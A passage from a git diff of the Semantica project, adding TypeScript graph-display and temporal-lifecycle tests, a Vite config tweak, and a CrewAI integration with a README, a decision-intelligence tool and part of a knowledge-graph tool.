edgeType: "co_occurs", weight: 3, properties: {} }, + }]); + } + } + } + for (let i = 0; i < right.length; i += 1) { + for (let j = 0; j < right.length; j += 1) { + if (i !== j) { + batchMergeEdges([{ + id: `rg-${edgeIndex++}`, + source: right[i], + target: right[j], + attributes: { edgeType: "co_occurs", weight: 3, properties: {} }, + }]); + } + } + } + batchMergeEdges([{ id: "bridge-g", source: "g1", target: "h1", attributes: { edgeType: "interacts_with", weight: 0.1, properties: {} } }]); + + const { graph: displayGraph, state } = resolveDisplayGraph("", [], [], "grouped", { aggregationEnabled: true }); + assert.equal(state.groupedViewAvailable, true); + + const communityEdges = displayGraph.edges().filter((edgeId) => { + const attrs = displayGraph.getEdgeAttributes(edgeId) as { bundleKind?: string }; + return attrs.bundleKind === "community"; + }); + assert.ok(communityEdges.length > 0, "expected at least one community bundle edge"); + + for (const edgeId of communityEdges) { + const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string }; + assert.equal(typeof attrs.edgeType, "string"); + assert.ok((attrs.edgeType ?? "").length > 0, `community edge ${edgeId} must have a non-empty edgeType`); + } +}); + +test("resolveDisplayGraph raw edge preserves exact edgeType string for label rendering", () => { + addNode("src"); + addNode("tgt"); + batchMergeEdges([{ + id: "raw-1", + source: "src", + target: "tgt", + attributes: { edgeType: "works_for", weight: 1, properties: {} }, + }]); + + // In full view without aggregation the edge passes through unchanged. + const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: false }); + assert.equal(displayGraph.size, 1); + + const edgeId = displayGraph.edges()[0]; + const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string }; + assert.equal(attrs.edgeType, "works_for"); +}); + +test("resolveDisplayGraph does not produce empty-string edgeType on aggregated edges when source has empty type", () => { + addNode("a"); + addNode("b"); + // Simulate an API response where type is empty string — the aggregation + // path must not propagate a blank label. + batchMergeEdges([ + { id: "e-empty-1", source: "a", target: "b", attributes: { edgeType: "", weight: 1, properties: {} } }, + { id: "e-empty-2", source: "a", target: "b", attributes: { edgeType: "", weight: 1, properties: {} } }, + ]); + + const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true }); + const edgeId = displayGraph.edges()[0]; + const attrs = displayGraph.getEdgeAttributes(edgeId) as { + edgeType?: string; + isAggregated?: boolean; + }; + assert.equal(attrs.isAggregated, true); + // The aggregation falls back to "related_to" when all source edgeTypes are + // empty, so the rendered label should never be an empty string. + assert.equal(attrs.edgeType, "related_to"); +}); + +test("resolveEdgeElementStyle hidden class produces hidden:true for suppressed edges", () => { + // Verify the data condition the edgeReducer relies on: hidden-classified + // edges must have hidden:true so that the label assignment sets undefined. + const style = resolveEdgeElementStyle( + GRAPH_THEME, + "overview", + "inactive", + { + edgeType: "causes", + weight: 1, + properties: {}, + edgeVariant: "line", + visualPriority: 0.05, + baseSize: 0.3, + }, + "source", + "target", + "full", + "inactive-edge", + "hidden", + ); + assert.equal(style.hidden, true); +}); + +// ── #1009 maintainer-blocking regression: single-edge empty edgeType ───────── + +test("resolveDisplayGraph single-edge normalizes empty-string edgeType to related_to", () => { + addNode("a"); + addNode("b"); + // One edge only — exercises the entries.length === 1 path in aggregateDisplayGraph. + batchMergeEdges([{ + id: "e-single-empty", + source: "a", + target: "b", + attributes: { edgeType: "", weight: 1, properties: {} }, + }]); + + const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true }); + assert.equal(displayGraph.size, 1); + + const edgeId = displayGraph.edges()[0]; + const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string; dominantEdgeType?: string }; + assert.equal(attrs.edgeType, "related_to", + "single-edge path must normalize empty edgeType to the canonical fallback"); + assert.equal(attrs.dominantEdgeType, "related_to", + "single-edge dominantEdgeType must also be normalized"); +}); + +test("resolveDisplayGraph single-edge preserves a valid non-empty edgeType unchanged", () => { + addNode("a"); + addNode("b"); + batchMergeEdges([{ + id: "e-single-valid", + source: "a", + target: "b", + attributes: { edgeType: "works_for", weight: 1, properties: {} }, + }]); + + const { graph: displayGraph } = resolveDisplayGraph("", [], [], "full", { aggregationEnabled: true }); + assert.equal(displayGraph.size, 1); + + const edgeId = displayGraph.edges()[0]; + const attrs = displayGraph.getEdgeAttributes(edgeId) as { edgeType?: string }; + assert.equal(attrs.edgeType, "works_for", + "single-edge path must not alter a valid relationship type"); +}); diff --git a/explorer/tests/temporalLifecycle.test.ts b/explorer/tests/temporalLifecycle.test.ts new file mode 100644 index 00000000..c9aa3191 --- /dev/null +++ b/explorer/tests/temporalLifecycle.test.ts @@ -0,0 +1,114 @@ +import test from "node:test"; +import assert from "node:assert/strict"; + +import { + shouldFetchTemporalBounds, + shouldFetchTemporalSnapshot, +} from "../src/workspaces/GraphWorkspace/temporalLifecyclePredicates.ts"; +import type { GraphLoadSummary } from "../src/workspaces/GraphWorkspace/types.ts"; + +const sampleSummary: GraphLoadSummary = { + nodeCount: 42, + edgeCount: 78, + loadTimeMs: 120, + hasCoordinates: true, + layoutSource: "provided", + layoutReady: true, +}; + +const emptyGraphSummary: GraphLoadSummary = { + nodeCount: 0, + edgeCount: 0, + loadTimeMs: 15, + hasCoordinates: false, + layoutSource: "runtime", + layoutReady: false, +}; + +// ── shouldFetchTemporalBounds ──────────────────────────────────────────────── + +test("temporal bounds: false when summary is undefined (initial mount or failed load)", () => { + assert.equal( + shouldFetchTemporalBounds(undefined), + false, + "bounds request must not run before graph load succeeds", + ); +}); + +test("temporal bounds: true when non-empty summary is present", () => { + assert.equal( + shouldFetchTemporalBounds(sampleSummary), + true, + "bounds request should run when successful graph summary exists", + ); +}); + +test("temporal bounds: true when successful summary has nodeCount of 0", () => { + assert.equal( + shouldFetchTemporalBounds(emptyGraphSummary), + true, + "an empty graph is still a successful load and must allow bounds fetching", + ); +}); + +// ── shouldFetchTemporalSnapshot ────────────────────────────────────────────── + +test("temporal snapshot: false when summary is undefined even if scrubber time is set and isLoading is false", () => { + assert.equal( + shouldFetchTemporalSnapshot({ + debouncedTime: new Date("2024-01-01T00:00:00Z"), + isLoading: false, + summary: undefined, + }), + false, + "snapshot request must not run when graph load failed", + ); +}); + +test("temporal snapshot: false when graph is currently loading", () => { + assert.equal( + shouldFetchTemporalSnapshot({ + debouncedTime: new Date("2024-01-01T00:00:00Z"), + isLoading: true, + summary: sampleSummary, + }), + false, + "snapshot request must not run while graph is loading", + ); +}); + +test("temporal snapshot: false when debouncedTime is null", () => { + assert.equal( + shouldFetchTemporalSnapshot({ + debouncedTime: null, + isLoading: false, + summary: sampleSummary, + }), + false, + "snapshot request must not run without a scrubber timestamp", + ); +}); + +test("temporal snapshot: true when summary exists, isLoading is false, and time is set", () => { + assert.equal( + shouldFetchTemporalSnapshot({ + debouncedTime: new Date("2024-01-01T00:00:00Z"), + isLoading: false, + summary: sampleSummary, + }), + true, + "snapshot request should run after graph load succeeds and time is set", + ); +}); + +test("temporal snapshot: true when successful summary has 0 nodes, isLoading is false, and time is set", () => { + assert.equal( + shouldFetchTemporalSnapshot({ + debouncedTime: new Date("2024-01-01T00:00:00Z"), + isLoading: false, + summary: emptyGraphSummary, + }), + true, + "empty successful graph must allow snapshot requests once ready", + ); +}); diff --git a/explorer/vite.config.ts b/explorer/vite.config.ts index bdc253f0..e36eec50 100644 --- a/explorer/vite.config.ts +++ b/explorer/vite.config.ts @@ -57,6 +57,13 @@ export default defineConfig({ }, }, }, + optimizeDeps: { + // Keep dependency pre-bundling aligned with the production build target. + // esbuild >=0.28 no longer lowers destructuring for Vite's default target. + esbuildOptions: { + target: 'esnext', + }, + }, server: { proxy: { '/api': { diff --git a/integrations/crewai/README.md b/integrations/crewai/README.md new file mode 100644 index 00000000..e083dd7e --- /dev/null +++ b/integrations/crewai/README.md @@ -0,0 +1,108 @@ +# Semantica × CrewAI + +First-class integration between Semantica and [CrewAI](https://github.com/crewAIInc/crewAI) — give your crews a shared semantic knowledge graph, decision intelligence, and graph-based retrieval. + +## Installation + +```bash +pip install semantica[crewai] +``` + +Requires `crewai >= 0.80.0`. If `crewai` is not installed, the integration still imports (classes degrade gracefully), but you can't pass the objects to a `Crew`. + +> **⚠️ Security note:** crewai hard-requires `chromadb~=1.1.0`, which is currently affected by the unpatched pre-authentication code-injection advisory **CVE-2026-45829** (no fixed release — even the latest chromadb 1.5.9 is affected). Installing `semantica[crewai]` pulls that dependency into your environment. The `crewai` extra is intentionally **not** part of `semantica[all]` for this reason — only install it where you actually use CrewAI, and follow chromadb for a patched release. + +## 1. SemanticaKGTool + +A `BaseTool` that lets agents **build and query** a shared `ContextGraph` mid-reasoning: + +- `extract_entities` — extract named entities from `text` +- `extract_relations` — extract relationships from `text` +- `add_to_graph` — extract entities/relations from `text` and add them to the shared graph +- `query_graph` — keyword-search the graph using `query` +- `find_related` — find concepts related to `entity` within `hops` + +```python +from crewai import Agent, Crew, Task +from semantica.context import ContextGraph +from integrations.crewai import SemanticaKGTool + +graph = ContextGraph() + +analyst = Agent( + role="Knowledge Analyst", + goal="Build and explore a knowledge graph from documents", + backstory="You map entities and relationships into a shared graph.", + tools=[SemanticaKGTool(graph=graph)], +) + +crew = Crew( + agents=[analyst], + tasks=[Task(description="Extract and link key entities from the brief", expected_output="JSON", agent=analyst)], +) +result = crew.kickoff() +``` + +All actions return JSON, so agents get parseable results. + +## 2. SemanticaDecisionTool + +A `BaseTool` that wraps `AgentContext` and exposes decision intelligence: + +- `record_decision` — record a decision with reasoning and outcome +- `find_precedents` — retrieve past decisions similar to a scenario +- `trace_causal_chain` — trace the causal chain from a decision +- `analyze_impact` — assess downstream influence using graph centrality +- `check_policy` — validate a proposed decision against rule-based policies + +```python +from crewai import Agent, Crew, Task +from integrations.crewai import SemanticaDecisionTool + +planner = Agent( + role="Decision Planner", + goal="Make grounded, precedented decisions", + backstory="You record decisions and validate them against policy.", + tools=[SemanticaDecisionTool()], +) + +crew = Crew(agents=[planner], tasks=[...]) +``` + +When no `AgentContext` is passed, one is created in-memory with `decision_tracking=True`. + +## 3. SemanticaKnowledgeSource + +A `BaseKnowledgeSource` that serializes the current state of a `ContextGraph` (nodes, edges, metadata) into CrewAI's knowledge storage, giving **every agent in the crew** retrieval access to the graph: + +```python +from crewai import Agent, Crew, Task +from semantica.context import ContextGraph +from integrations.crewai import SemanticaKnowledgeSource + +graph = ContextGraph() +graph.add_node(node_id="privacy", node_type="policy", content="...") + +researcher = Agent( + role="Policy Researcher", + goal="Answer questions from the knowledge base", + backstory="You retrieve from graph knowledge to answer accurately.", +) + +crew = Crew( + agents=[researcher], + tasks=[...], + knowledge_sources=[SemanticaKnowledgeSource(graph=graph)], +) +``` + +> **Embedder required:** storing chunks goes through CrewAI's knowledge pipeline, which needs an embedder. Set `Crew(embedder=...)` (or provide CrewAI's default credentials, e.g. `OPENAI_API_KEY`). Without a working embedder, storage fails, an ERROR is logged, and agents retrieve nothing — the crew still runs with empty knowledge queries. + +### Compatibility note + +CrewAI's `BaseKnowledgeSource` contract changed between `0.80.x` and current releases (`load_content()` → `validate_content()`/`aadd()`). `SemanticaKnowledgeSource` implements both the legacy and current methods, so it works across `crewai>=0.80.0`. + +### Sharing state & checkpoints + +- Each tool/source holds whatever `graph`/`context` you pass it. When omitted, a fresh in-memory object is created and a warning is logged — instances that auto-create their own state do **not** share knowledge, so pass the same object to every agent that must share. +- Live state (`ContextGraph`, `AgentContext`, extractors) is excluded from CrewAI's JSON serialization. After restoring from a checkpoint, re-attach the live graph/context to the restored objects. diff --git a/integrations/crewai/__init__.py b/integrations/crewai/__init__.py new file mode 100644 index 00000000..96c027c7 --- /dev/null +++ b/integrations/crewai/__init__.py @@ -0,0 +1,44 @@ +""" +Semantica × CrewAI Integration +============================== + +First-class integration between the Semantica semantic intelligence stack and +the `CrewAI `_ agentic framework. + +Public surface +-------------- +SemanticaKGTool — CrewAI ``BaseTool`` exposing KG construction/query actions +SemanticaDecisionTool — CrewAI ``BaseTool`` exposing decision-intelligence actions +SemanticaKnowledgeSource— CrewAI ``BaseKnowledgeSource`` giving crews graph knowledge + +Quick start +----------- + pip install semantica[crewai] + + >>> from integrations.crewai import ( + ... SemanticaKGTool, + ... SemanticaDecisionTool, + ... SemanticaKnowledgeSource, + ... ) + +Compatibility +------------- +Requires ``crewai >= 0.80.0``. All three classes degrade gracefully when +``crewai`` is not installed — they are still importable and carry the full +Semantica API, but cannot be passed to ``Crew`` / ``Agent`` constructors. +""" + +from ._availability import CREWAI_AVAILABLE, CREWAI_IMPORT_ERROR +from .decision_tool import SemanticaDecisionTool +from .kg_tool import SemanticaKGTool +from .knowledge_source import SemanticaKnowledgeSource + +__all__ = [ + "SemanticaKGTool", + "SemanticaDecisionTool", + "SemanticaKnowledgeSource", + "CREWAI_AVAILABLE", + "CREWAI_IMPORT_ERROR", +] + +__version__ = "0.1.0" diff --git a/integrations/crewai/_availability.py b/integrations/crewai/_availability.py new file mode 100644 index 00000000..6c871628 --- /dev/null +++ b/integrations/crewai/_availability.py @@ -0,0 +1,24 @@ +""" +Shared CrewAI availability probe. + +Every integration module needs to know whether the real ``crewai`` package is +installed. Probing once here (instead of once per module) guarantees the +exported ``CREWAI_AVAILABLE`` flag means the *whole* integration is ready — a +caller gating on it will never see tools using CrewAI while a knowledge source +silently degrades (or vice versa). +""" + +from typing import Optional + +CREWAI_AVAILABLE = False +CREWAI_IMPORT_ERROR: Optional[str] = None + +try: + from crewai.knowledge.source.base_knowledge_source import ( # noqa: F401 + BaseKnowledgeSource, + ) + from crewai.tools import BaseTool # noqa: F401 + + CREWAI_AVAILABLE = True +except ImportError as exc: + CREWAI_IMPORT_ERROR = str(exc) diff --git a/integrations/crewai/decision_tool.py b/integrations/crewai/decision_tool.py new file mode 100644 index 00000000..bf3552bf --- /dev/null +++ b/integrations/crewai/decision_tool.py @@ -0,0 +1,555 @@ +""" +SemanticaDecisionTool — a CrewAI ``BaseTool`` exposing Semantica's decision +intelligence (``AgentContext``) to agents. + +Lets agents record decisions with reasoning, retrieve past precedents, trace +causal chains, analyse downstream impact, and validate proposed decisions +against policy rules. + +Install +------- + pip install semantica[crewai] + +Example +------- + >>> from integrations.crewai import SemanticaDecisionTool + >>> from crewai import Agent, Crew, Task + >>> tool = SemanticaDecisionTool() + >>> crew = Crew( + ... agents=[Agent(role="...", goal="...", backstory="...", tools=[tool])], + ... tasks=[...], + ... ) + +Tools exposed +------------- +record_decision — Record a decision with reasoning and outcome +find_precedents — Search past decisions similar to a scenario +trace_causal_chain— Trace the causal chain from a decision node +analyze_impact — Assess downstream influence of a decision +check_policy — Validate a proposed decision against policy rules +""" + +from __future__ import annotations + +import json +import re +from typing import Any, Dict, List, Literal, Optional, Type + +from pydantic import BaseModel, Field + +from semantica.utils.logging import get_logger + +from ._availability import CREWAI_AVAILABLE + +logger = get_logger(__name__) + +# --------------------------------------------------------------------------- +# Optional: CrewAI BaseTool base class +# --------------------------------------------------------------------------- +_BaseTool: Any = object + +if CREWAI_AVAILABLE: + from crewai.tools import BaseTool as _BaseTool # type: ignore + + +# --------------------------------------------------------------------------- +# Input schema +# --------------------------------------------------------------------------- +class SemanticaDecisionToolInput(BaseModel): + """ + Input schema for ``SemanticaDecisionTool``. + + Exactly one action is dispatched per call; the remaining fields are only + used by the actions that need them. + """ + + action: Literal[ + "record_decision", + "find_precedents", + "trace_causal_chain", + "analyze_impact", + "check_policy", + ] = Field( + ..., + description=( + "Which decision-intelligence operation to run. One of: " + "'record_decision', 'find_precedents', 'trace_causal_chain', " + "'analyze_impact', 'check_policy'." + ), + ) + category: Optional[str] = Field( + None, + description="Domain category, e.g. 'loan_approval'. Used by 'record_decision'.", + ) + scenario: Optional[str] = Field( + None, + description=( + "Short description of the situation. Used by 'record_decision' and " + "'find_precedents'." + ), + ) + reasoning: Optional[str] = Field( + None, description="Why this outcome was chosen. Used by 'record_decision'." + ) + outcome: Optional[str] = Field( + None, description="The decision result. Used by 'record_decision'." + ) + confidence: float = Field( + 0.8, + ge=0.0, + le=1.0, + description="Confidence score in [0, 1]. Used by 'record_decision'.", + ) + entities: Optional[str] = Field( + None, + description="Comma-separated entity names. Used by 'record_decision'.", + ) + decision_id: Optional[str] = Field( + None, + description=( + "Identifier of a decision. Used by 'trace_causal_chain' and " + "'analyze_impact'." + ), + ) + depth: int = Field( + 3, + ge=1, + le=20, + description="Maximum chain depth. Used by 'trace_causal_chain'.", + ) + decision_data: Optional[str] = Field( + None, + description=( + "JSON object describing a proposed decision. Used by 'check_policy'." + ), + ) + policy_rules: Optional[str] = Field( + None, + description=( + "JSON list of rule strings like 'confidence >= 0.7'. Used by " + "'check_policy'." + ), + ) + + +# --------------------------------------------------------------------------- +# SemanticaDecisionTool +# --------------------------------------------------------------------------- +class SemanticaDecisionTool(_BaseTool): # type: ignore[misc] + """ + CrewAI tool that surfaces Semantica's decision intelligence as agent actions. + + Parameters + ---------- + context: + A ``semantica.context.AgentContext`` (or compatible object exposing + ``record_decision``, ``find_precedents_advanced``, + ``analyze_decision_influence``). A fresh in-memory context is created + when ``None``. + max_precedents: + Default number of precedents returned by ``find_precedents``. + causal_depth: + Default chain depth used by ``trace_causal_chain``. + """ + + name: str = "semantica_decision" + description: str = ( + "Decision intelligence toolkit. Actions: 'record_decision' (record a " + "decision with category, scenario, reasoning, outcome, confidence), " + "'find_precedents' (search past decisions similar to 'scenario'), " + "'trace_causal_chain' (trace the causal chain from 'decision_id'), " + "'analyze_impact' (assess downstream influence of 'decision_id'), " + "'check_policy' (validate 'decision_data' JSON against 'policy_rules' " + "rules like 'confidence >= 0.7'). Returns JSON." + ) + args_schema: Type[BaseModel] = SemanticaDecisionToolInput + context: Any = Field(default=None, exclude=True) + max_precedents: int = 5 + causal_depth: int = 3 + had_live_state: bool = False + reconstructed_state: bool = Field(default=False, exclude=True) + + def __init__( + self, + context: Any = None, + max_precedents: int = 5, + causal_depth: int = 3, + **kwargs: Any, + ) -> None: + if CREWAI_AVAILABLE: + super().__init__( + context=context, + max_precedents=max_precedents, + causal_depth=causal_depth, + **kwargs, + ) + else: + super().__init__() + self.context = context + self.max_precedents = max_precedents + self.causal_depth = causal_depth + # Degraded mode is a plain class — no model_post_init lifecycle. + self._ensure_defaults() + + logger.info("SemanticaDecisionTool initialised (crewai=%s)", CREWAI_AVAILABLE) + + def model_post_init(self, __context: Any) -> None: + """Re-create default state after validation/deserialisation. + + ``context`` is excluded from JSON serialisation (CrewAI checkpoints + serialise every tool via ``model_dump(mode="json")``), so a tool + restored from a checkpoint has ``None`` state until this runs. + """ + self._ensure_defaults() + super().model_post_init(__context) + + def _ensure_defaults(self) -> None: + """Lazy-import and build a real AgentContext when none is wired.""" + if self.context is None: + from semantica.context import AgentContext, ContextGraph + from semantica.vector_store import VectorStore + + self.context = AgentContext( + vector_store=VectorStore(backend="faiss"), + decision_tracking=True, + knowledge_graph=ContextGraph(), + ) + if self.had_live_state: + self.reconstructed_state = True + logger.warning( + "SemanticaDecisionTool: the live decision context was lost " + "during serialization/checkpoint restore — an EMPTY " + "context was reconstructed; re-attach the original context " + "before continuing" + ) + else: + logger.warning( + "SemanticaDecisionTool created a fresh in-memory " + "AgentContext — agents sharing decision state must be " + "wired to the same context" + ) + self.had_live_state = True + + # ------------------------------------------------------------------ + # CrewAI entry points + # ------------------------------------------------------------------ + + def _run( + self, + action: str, + category: Optional[str] = None, + scenario: Optional[str] = None, + reasoning: Optional[str] = None, + outcome: Optional[str] = None, + confidence: float = 0.8, + entities: Optional[str] = None, + decision_id: Optional[str] = None, + depth: int = 3, + decision_data: Optional[str] = None, + policy_rules: Optional[str] = None, + **kwargs: Any, + ) -> str: + valid = { + "record_decision", + "find_precedents", + "trace_causal_chain", + "analyze_impact", + "check_policy", + } + if action not in valid: + return json.dumps( + { + "error": f"Unknown action '{action}'. Valid actions: " + + ", ".join(sorted(valid)) + } + ) + + if action == "record_decision": + return self._record_decision( + category=category or "general", + scenario=scenario or "decision recorded", + reasoning=reasoning or "agent decision", + outcome=outcome or "recorded", + confidence=confidence, + entities=entities, + ) + if action == "find_precedents": + return self._find_precedents(scenario=scenario or "", category=category) + if action == "trace_causal_chain": + return self._trace_causal_chain(decision_id or "", depth=depth) + if action == "analyze_impact": + return self._analyze_impact(decision_id or "") + return self._check_policy(decision_data or "", policy_rules) + + async def _arun(self, action: str, **kwargs: Any) -> str: + """Async variant of ``_run`` for CrewAI's async tool path.""" + return self._run(action=action, **kwargs) + + # ------------------------------------------------------------------ + # Actions + # ------------------------------------------------------------------ + + def _record_decision( + self, + category: str, + scenario: str, + reasoning: str, + outcome: str, + confidence: float = 0.8, + entities: Optional[str] = None, + ) -> str: + entity_list: Optional[List[str]] = None + if entities: + entity_list = [e.strip() for e in entities.split(",") if e.strip()] + + try: + decision_id = self.context.record_decision( + category=category, + scenario=scenario, + reasoning=reasoning, + outcome=outcome, + confidence=float(confidence), + entities=entity_list, + ) + result = {"decision_id": str(decision_id), "status": "recorded"} + logger.info("record_decision → %s", decision_id) + except Exception as exc: + result = {"error": str(exc), "status": "failed"} + logger.warning("record_decision failed: %s", exc) + + return json.dumps(result) + + def _find_precedents( + self, + scenario: str, + category: Optional[str] = None, + limit: Optional[int] = None, + ) -> str: + k = limit if limit is not None else self.max_precedents + try: + precedents = self.context.find_precedents_advanced( + scenario=scenario, + category=category, + limit=k, + ) + out: List[Dict[str, Any]] = [] + for p in (precedents or [])[:k]: + if isinstance(p, dict): + out.append(p) + else: + out.append( + { + "scenario": getattr(p, "scenario", str(p)), + "outcome": getattr(p, "outcome", ""), + "confidence": getattr(p, "confidence", 0.0), + "category": getattr(p, "category", ""), + } + ) + logger.info("find_precedents('%s') → %d results", scenario, len(out)) + return json.dumps({"precedents": out, "count": len(out)}) + except Exception as exc: + logger.warning("find_precedents failed: %s", exc) + return json.dumps({"precedents": [], "count": 0, "error": str(exc)}) + + def _trace_causal_chain(self, decision_id: str, depth: Optional[int] = None) -> str: + if not decision_id: + return json.dumps( + { + "error": "decision_id is required for trace_causal_chain", + "causal_chain": [], + "decision_id": "", + } + ) + max_depth = depth or self.causal_depth + try: + graph = getattr(self.context, "knowledge_graph", None) + if graph is None: + return json.dumps( + { + "error": ( + "causal tracing is not available on this knowledge " + "graph (the decision context has no knowledge_graph)" + ), + "causal_chain": [], + "decision_id": decision_id, + } + ) + trace = getattr(graph, "trace_decision_causality", None) + if trace is None: + return json.dumps( + { + "error": ( + "causal tracing is not available on this knowledge graph " + "(graph.trace_decision_causality is not implemented)" + ), + "causal_chain": [], + "decision_id": decision_id, + } + ) + chain = trace(decision_id, max_depth=max_depth) + return json.dumps({"causal_chain": chain, "decision_id": decision_id}) + except Exception as exc: + logger.warning("trace_causal_chain failed: %s", exc) + return json.dumps( + {"error": str(exc), "causal_chain": [], "decision_id": decision_id} + ) + + def _analyze_impact(self, decision_id: str) -> str: + try: + influence = self.context.analyze_decision_influence(decision_id) + if not isinstance(influence, dict): + influence = {"influence": str(influence)} + influence["decision_id"] = decision_id + return json.dumps(influence) + except Exception as exc: + logger.warning("analyze_impact failed: %s", exc) + return json.dumps({"error": str(exc), "decision_id": decision_id}) + + def _check_policy( + self, + decision_data: str, + policy_rules: Optional[str] = None, + ) -> str: + try: + data = ( + json.loads(decision_data) + if isinstance(decision_data, str) + else decision_data + ) + except json.JSONDecodeError as exc: + return json.dumps( + { + "compliant": False, + "violations": [f"Invalid decision_data JSON: {exc}"], + "warnings": [], + } + ) + + if not isinstance(data, dict): + return json.dumps( + { + "compliant": False, + "violations": [ + f"decision_data must decode to a JSON object, " + f"got {type(data).__name__}: {data!r}" + ], + "warnings": [], + } + ) + + violations: List[str] = [] + warnings: List[str] = [] + + rules: List[str] = [] + if policy_rules: + try: + parsed_rules = json.loads(policy_rules) + except json.JSONDecodeError: + rules = [r.strip() for r in policy_rules.split(",") if r.strip()] + else: + if isinstance(parsed_rules, str): + rules = [parsed_rules] + elif isinstance(parsed_rules, list): + for item in parsed_rules: + if isinstance(item, str): + rules.append(item) + else: + warnings.append( + f"Ignoring non-string policy rule entry: {item!r}" + ) + else: + warnings.append( + f"policy_rules must decode to a JSON list of rule strings, " + f"got {type(parsed_rules).__name__}: {parsed_rules!r}" + ) + + for rule in rules: + try: + if not self._eval_rule(rule, data): + violations.append(f"Rule violated: {rule}") + except Exception as exc: + warnings.append(f"Could not evaluate rule '{rule}': {exc}") + + compliant = len(violations) == 0 + logger.debug( + "check_policy: compliant=%s, violations=%d", compliant, len(violations) + ) + return json.dumps( + { + "compliant": compliant, + "violations": violations, + "warnings": warnings, + } + ) + + def _eval_rule(self, rule: str, data: Dict[str, Any]) -> bool: + """Evaluate a simple comparison rule (``field op value``) against data. + + This is a small standalone evaluator for the tool's ``check_policy`` + action — it is intentionally independent of Semantica's policy engine + so agents get a bounded, side-effect-free rule check. Rules are + `` `` comparisons only; there is no expression + evaluation (no ``eval``), so untrusted rule strings are safe to pass. + + Values are coerced type-aware: ``true``/``false`` (and ``1``/``0``) + become booleans, numeric literals become numbers, and string values + that parse as numbers are compared numerically, so ``score == 0.9`` + holds for ``score: "0.90"`` and ``enabled == false`` holds for + ``enabled: false``. Field names may contain hyphens, dots and spaces + (e.g. ``risk-score >= 0.9``); they are matched against ``data`` keys + as-is. + """ + m = re.match(r"(.+?)\s*(>=|<=|!=|==|>|<)\s*(.+)$", rule.strip()) + if not m: + raise ValueError(f"unrecognised rule format: {rule!r}") + field, op, val_str = m.group(1), m.group(2), m.group(3).strip().strip("\"'") + if field not in data: + raise ValueError(f"rule references undefined field {field!r}") + actual = data[field] + if actual is None: + raise ValueError(f"field {field!r} is null — cannot evaluate rule") + val = self._coerce_value(val_str) + if isinstance(actual, str): + actual = self._coerce_value(actual) + ops = { + ">=": lambda a, b: a >= b, + "<=": lambda a, b: a <= b, + "!=": lambda a, b: a != b, + "==": lambda a, b: a == b, + ">": lambda a, b: a > b, + "<": lambda a, b: a < b, + } + return ops[op](actual, val) + + @staticmethod + def _coerce_value(value: str) -> Any: + """Parse a rule literal into its most specific Python type.""" + text = value.strip() + lowered = text.lower() + if lowered in ("true", "1"): + return True + if lowered in ("false", "0"): + return False + try: + return int(text) + except ValueError: + pass + try: + return float(text) + except ValueError: + pass + return text + + # When crewai is absent there is no BaseTool to provide the public + # ``run``/``arun`` entry points, so expose them directly. With crewai + # installed these are left untouched so crewai's own implementations + # (usage tracking, ``result_as_answer``) win. + if not CREWAI_AVAILABLE: + + def run(self, *args: Any, **kwargs: Any) -> str: + """Run the tool synchronously (degraded mode, no crewai).""" + return self._run(*args, **kwargs) + + async def arun(self, *args: Any, **kwargs: Any) -> str: + """Run the tool asynchronously (degraded mode, no crewai).""" + return self._run(*args, **kwargs) diff --git a/integrations/crewai/kg_tool.py b/integrations/crewai/kg_tool.py new file mode 100644 index 00000000..7740e3fa --- /dev/null +++ b/integrations/crewai/kg_tool.py @@ -0,0 +1,573 @@ +""" +SemanticaKGTool — a CrewAI ``BaseTool`` exposing Semantica's knowledge-graph +pipeline (``NERExtractor``, ``RelationExtractor``, ``ContextGraph``) to agents. + +Lets agents build and query a shared ``ContextGraph`` as part of their +reasoning loop. + +Install +------- + pip install semantica[crewai] + +Example +------- + >>> from integrations.crewai import SemanticaKGTool + >>> from semantica.context import ContextGraph + >>> from crewai import Agent, Crew, Task + >>> graph = ContextGraph() + >>> tool = SemanticaKGTool(graph=graph) + >>> crew = Crew( + ... agents=[Agent(role="...", goal="...", backstory="...", tools=[tool])], + ... tasks=[...], + ... ) + +Tools exposed +------------- +extract_entities — Extract named entities from text +extract_relations — Extract relationships between entities +add_to_graph — Extract entities/relations from text and add them to the graph +query_graph — Query the graph by keyword +find_related — Find concepts related to a given entity within ``hops`` +""" + +from __future__ import annotations + +import json +import threading +import weakref +from typing import Any, Dict, List, Literal, Optional, Sequence, Type + +from pydantic import BaseModel, Field + +from semantica.utils.logging import get_logger + +from ._availability import CREWAI_AVAILABLE, CREWAI_IMPORT_ERROR # noqa: F401 + +logger = get_logger(__name__) + +# --------------------------------------------------------------------------- +# Optional: CrewAI BaseTool base class +# --------------------------------------------------------------------------- +_BaseTool: Any = object + +if CREWAI_AVAILABLE: + from crewai.tools import BaseTool as _BaseTool # type: ignore + +# One re-entrant lock per graph so concurrent tool invocations sharing a graph +# cannot double-count duplicate adds (check-then-act is not atomic), while +# independent graphs are never serialised against each other. An RLock also +# means an extractor callback that re-enters add_to_graph on the same graph +# cannot deadlock. +_graph_locks_guard = threading.Lock() +_graph_locks: "weakref.WeakKeyDictionary[Any, threading.RLock]" = ( + weakref.WeakKeyDictionary() +) + + +# --------------------------------------------------------------------------- +# Input schema +# --------------------------------------------------------------------------- +class SemanticaKGToolInput(BaseModel): + """ + Input schema for ``SemanticaKGTool``. + + Exactly one action is dispatched per call; the remaining fields are only + used by the actions that need them. + """ + + action: Literal[ + "extract_entities", + "extract_relations", + "add_to_graph", + "query_graph", + "find_related", + ] = Field( + ..., + description=( + "Which graph operation to run. One of: 'extract_entities', " + "'extract_relations', 'add_to_graph', 'query_graph', 'find_related'." + ), + ) + text: Optional[str] = Field( + None, + description=( + "Input text. Used by 'extract_entities', 'extract_relations' and " + "'add_to_graph'." + ), + ) + query: Optional[str] = Field( + None, description="Search query. Used by 'query_graph'." + ) + entity: Optional[str] = Field( + None, + description="Root entity name. Used by 'find_related'.", + ) + hops: int = Field( + 1, + ge=1, + le=10, + description="Maximum relationship hops. Used by 'find_related'.", + ) + + +# --------------------------------------------------------------------------- +# SemanticaKGTool +# --------------------------------------------------------------------------- +class SemanticaKGTool(_BaseTool): # type: ignore[misc] + """ + CrewAI tool that surfaces Semantica's KG pipeline as agent actions. + + Parameters + ---------- + graph: + A ``semantica.context.ContextGraph`` to read/write. A 